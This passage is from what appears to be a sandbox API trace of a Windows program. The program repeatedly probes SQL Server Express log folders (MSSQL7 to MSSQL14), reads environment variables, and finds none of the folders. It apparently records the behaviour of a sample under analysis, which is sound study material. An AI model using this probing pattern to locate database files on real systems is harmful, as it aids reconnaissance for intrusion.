lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL7.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x42 [0087.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL7.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL7.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 67 [0087.093] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL7.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL7.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="¯í\x18")) returned 0xffffffff [0087.094] GetLastError () returned 0x3 [0087.094] GetLastError () returned 0x3 [0087.094] SetLastError (dwErrCode=0x3) [0087.094] GetLastError () returned 0x3 [0087.094] SetLastError (dwErrCode=0x3) [0087.094] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.094] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.094] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.094] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.094] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.094] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.094] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.094] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL8.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL8.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 67 [0087.094] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL8.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL8.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x42 [0087.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL8.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL8.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 67 [0087.094] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL8.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL8.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="¯í\x18")) returned 0xffffffff [0087.095] GetLastError () returned 0x3 [0087.095] GetLastError () returned 0x3 [0087.095] SetLastError (dwErrCode=0x3) [0087.095] GetLastError () returned 0x3 [0087.095] SetLastError (dwErrCode=0x3) [0087.095] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.095] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.095] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.095] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.095] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.095] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.095] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.095] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL9.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL9.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 67 [0087.095] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL9.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL9.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x42 [0087.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL9.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL9.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 67 [0087.095] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL9.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL9.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="¯í\x18")) returned 0xffffffff [0087.096] GetLastError () returned 0x3 [0087.096] GetLastError () returned 0x3 [0087.096] SetLastError (dwErrCode=0x3) [0087.096] GetLastError () returned 0x3 [0087.096] SetLastError (dwErrCode=0x3) [0087.096] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.096] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.096] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.096] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.096] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.096] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.096] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.096] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL10.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL10.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.096] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL10.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL10.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL10.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL10.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.096] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL10.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL10.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.097] GetLastError () returned 0x3 [0087.097] GetLastError () returned 0x3 [0087.097] SetLastError (dwErrCode=0x3) [0087.097] GetLastError () returned 0x3 [0087.097] SetLastError (dwErrCode=0x3) [0087.097] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.097] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.097] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.097] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.097] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.097] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.097] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.097] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL11.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL11.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.097] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL11.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL11.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL11.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL11.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.098] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL11.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL11.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.098] GetLastError () returned 0x3 [0087.098] GetLastError () returned 0x3 [0087.098] SetLastError (dwErrCode=0x3) [0087.098] GetLastError () returned 0x3 [0087.098] SetLastError (dwErrCode=0x3) [0087.098] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.098] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.098] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.098] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.098] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.098] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.098] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.099] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL12.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL12.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.099] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL12.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL12.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL12.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL12.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.099] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL12.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL12.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.099] GetLastError () returned 0x3 [0087.099] GetLastError () returned 0x3 [0087.099] SetLastError (dwErrCode=0x3) [0087.099] GetLastError () returned 0x3 [0087.099] SetLastError (dwErrCode=0x3) [0087.100] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.100] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.100] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.100] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.100] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.100] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.100] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.100] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL13.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL13.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.100] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL13.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL13.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL13.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL13.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.100] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL13.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL13.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.100] GetLastError () returned 0x3 [0087.101] GetLastError () returned 0x3 [0087.101] SetLastError (dwErrCode=0x3) [0087.101] GetLastError () returned 0x3 [0087.101] SetLastError (dwErrCode=0x3) [0087.101] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.101] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.101] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.101] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.101] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.101] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.101] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.101] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL14.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL14.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.102] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL14.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL14.SQLEXPRESS\\MSSQL\\Log\\", 